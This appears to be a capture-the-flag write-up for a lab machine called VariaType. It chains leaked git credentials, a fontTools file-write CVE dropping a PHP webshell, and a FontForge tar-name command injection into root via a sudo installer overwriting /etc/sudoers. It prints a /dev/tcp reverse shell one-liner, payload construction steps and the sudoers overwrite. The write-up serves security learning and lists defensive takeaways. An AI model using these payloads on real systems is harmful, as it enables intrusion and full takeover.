VariaType
Difficulty: Medium | OS: Linux
Introduction
VariaType is a Medium Linux machine that hosts a variable font generator. Every step of the chain abuses something that handles files unsafely:
- An exposed
.gitdirectory on a subdomain leaks credentials from a deleted commit. - CVE-2025-66034, an arbitrary file write in
fontTools.varLib, turns a.designspaceupload into a PHP webshell aswww-data. - CVE-2024-25082, a command injection in FontForge’s archive handling, turns a crafted tar file into a shell as
steve. - A sudo rule on a Python plugin installer lets
stevewrite any file as root. I overwrote/etc/sudoers.
1. Reconnaissance
1 | ┌──(kali㉿kali)-[~] |
Only SSH and nginx are open. Port 80 redirects to variatype.htb, which I added to /etc/hosts. Fuzzing the Host header turned up a second virtual host, portal.variatype.htb:
1 | ffuf -u http://variatype.htb/ -H "Host: FUZZ.variatype.htb" \ |
Exposed .git
The portal serves its .git directory. git-dumper rebuilds the repository locally:
1 | git-dumper http://portal.variatype.htb/.git git-repo |
The working tree has an empty $USERS array in auth.php, so the credentials were removed at some point. Deleting a file from the latest commit does not remove it from history, though, and git fsck can list commits that no branch points to:
1 | cd git-repo |
The deleted commit still has the old $USERS array with a gitbot account and its password. Those credentials get me into the portal.
2. Foothold — CVE-2025-66034 (fontTools varLib File Write)
What is CVE-2025-66034?
fontTools is a Python library for manipulating fonts. In versions from 4.33.0 up to (but not including) 4.60.2, the fontTools.varLib script has an arbitrary file write bug that becomes remote code execution when it processes a malicious .designspace file. A designspace file is the XML description a variable font is built from. Two weaknesses chain together:
- Path traversal:
varLibtakes the output name from thefilenameattribute of<variable-font>and joins it to the output directory without sanitising it. If the attribute is an absolute path,os.path.jointhrows away the output directory and writes to the path I chose. - Content injection: text inside
<labelname>is written verbatim into the output font file. A CDATA split lets raw PHP end up inside the binary.
The vulnerable code:
1 | filename = vf.filename # unsanitised |
Put together, a PHP file lands in a web-accessible directory and runs when I request it:
1 | Malicious .designspace |
The font generator on the site accepts .designspace uploads and the master fonts they reference. I generated two minimal master fonts with fontTools.FontBuilder, wrote the designspace with the two elements above, uploaded everything, then requested shell.php from the portal and started a reverse shell from it.
I landed as www-data in the portal’s web root.
3. Lateral Movement — CVE-2024-25082 (FontForge Archive Injection)
Finding the target
Inside the portal’s web root I read auth.php. It still holds the gitbot login, so the credentials from the git history were live. A more useful file was /opt/process_client_submissions.bak:
1 | www-data@variatype:/opt$ cat process_client_submissions.bak |
1 |
|
The script takes every font or archive dropped in the portal’s files directory, as steve, and opens it with FontForge. It checks the name of the uploaded file against a strict regex. It never looks at what is inside an archive.
What is CVE-2024-25082?
FontForge (through 20230101) command injection through crafted archives. When FontForge opens an archive, it reads the first filename in the archive’s table of contents and passes it to system() to handle decompression:
1 | sprintf(unarchivecmd, |
desiredfile comes from the archive, so whoever builds the archive controls part of a shell command. If the first entry is named $(bash -c "..."), the shell expands the subshell when system() runs. Python’s tarfile in USTAR_FORMAT writes that name into the table of contents as is.
Exploit
The outer file name, evil.tar, passes the pipeline’s regex. The payload hides in the entry name. I base64-encoded a reverse shell first:
1 | echo -n '(bash >& /dev/tcp/10.10.16.138/4443 0>&1) &' | base64 |
Then built the tar file:
1 | #!/usr/bin/env python3 |
1 | www-data@variatype:/tmp$ python3 ./exploit.py |
With a listener running, the shell came back as steve:
1 | ┌──(kali㉿kali)-[~] |
4. Privilege Escalation — Sudo Plugin Installer
The first thing to check as steve is sudo:
1 | sudo -l |
The script is short. It takes a URL, downloads a “validator plugin” from it into /opt/font-tools/validators, and runs as root:
1 | from setuptools.package_index import PackageIndex |
The only checks are that the URL starts with http:// or https://, and that it has no more than ten slashes.
The URL-decode bypass
PackageIndex.download() reads the Content-Disposition header of the response to pick the output filename. It URL-decodes that name with urllib.parse.unquote() and joins it to the plugin directory with os.path.join(). That last step has the same flaw as the fontTools bug:
1 | import os.path |
If the second argument is an absolute path, everything before it is discarded, and the plugin directory restriction is gone. The decoded name needs a leading slash, and a server can send one without ever putting a literal / in the header: %2Fetc%2Fsudoers goes through as plain text and unquote() turns it into /etc/sudoers just before the join.
Overwriting /etc/sudoers
A sudoers file with a single line is valid, so replacing the whole file is enough. I wrote the new content, then served it from a small HTTP server on the box with the encoded filename in the header:
1 | steve@variatype:~$ echo 'steve ALL=(ALL) NOPASSWD: ALL' > /tmp/newsudoers |
Then I ran the allowed sudo command against it:
1 | steve@variatype:/tmp$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://127.0.0.1:8889/%2Fetc%2Fsudoers' |
Overwriting /etc/sudoers is the blunt option and would break a real system if the old rules mattered. Other public writeups write an SSH public key to /root/.ssh/authorized_keys with the same trick, which is quieter.
Attack Chain
1 | portal.variatype.htb → exposed .git → deleted commit → gitbot credentials |
Summary
| Stage | Technique | CVE |
|---|---|---|
| Credentials | Exposed .git on portal.variatype.htb, deleted commit found with git fsck |
— |
| Foothold | .designspace with an absolute output path and PHP in <labelname>, webshell as www-data |
CVE-2025-66034 |
| Lateral Movement | Tar file with $(...) as its first entry name, run through FontForge by a background job, shell as steve |
CVE-2024-25082 |
| Privilege Escalation | Sudo plugin installer, URL-encoded absolute path in Content-Disposition, overwrite of /etc/sudoers |
— |
Key Takeaways
- Deleting a secret from the latest commit does not delete it. Unreachable commits stay in
.gituntil garbage collection, and an exposed.gitdirectory hands over the whole history. Rotate any credential that ever touched a repository. - Never serve
.git. Block it at the web server, and keep deployments free of repository metadata. - Validate what is inside a file, not only its name. The pipeline checked
evil.taragainst a strict regex and trusted everything inside it. os.path.joinwith untrusted input is a vulnerability. Both the fontTools bug and the installer bug come from the same behaviour: an absolute second argument silently replaces the first. Resolve the final path and check that it still sits under the intended directory.- Encoded input has to be checked after decoding.
%2Fpassed the length and URL checks, then became a slash right before use. - Review wildcard sudo rules.
install_validator.py *let me choose the URL, and the script trusted the filename the server sent back. A root-owned script that writes files should never take its output path from the network.
Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏








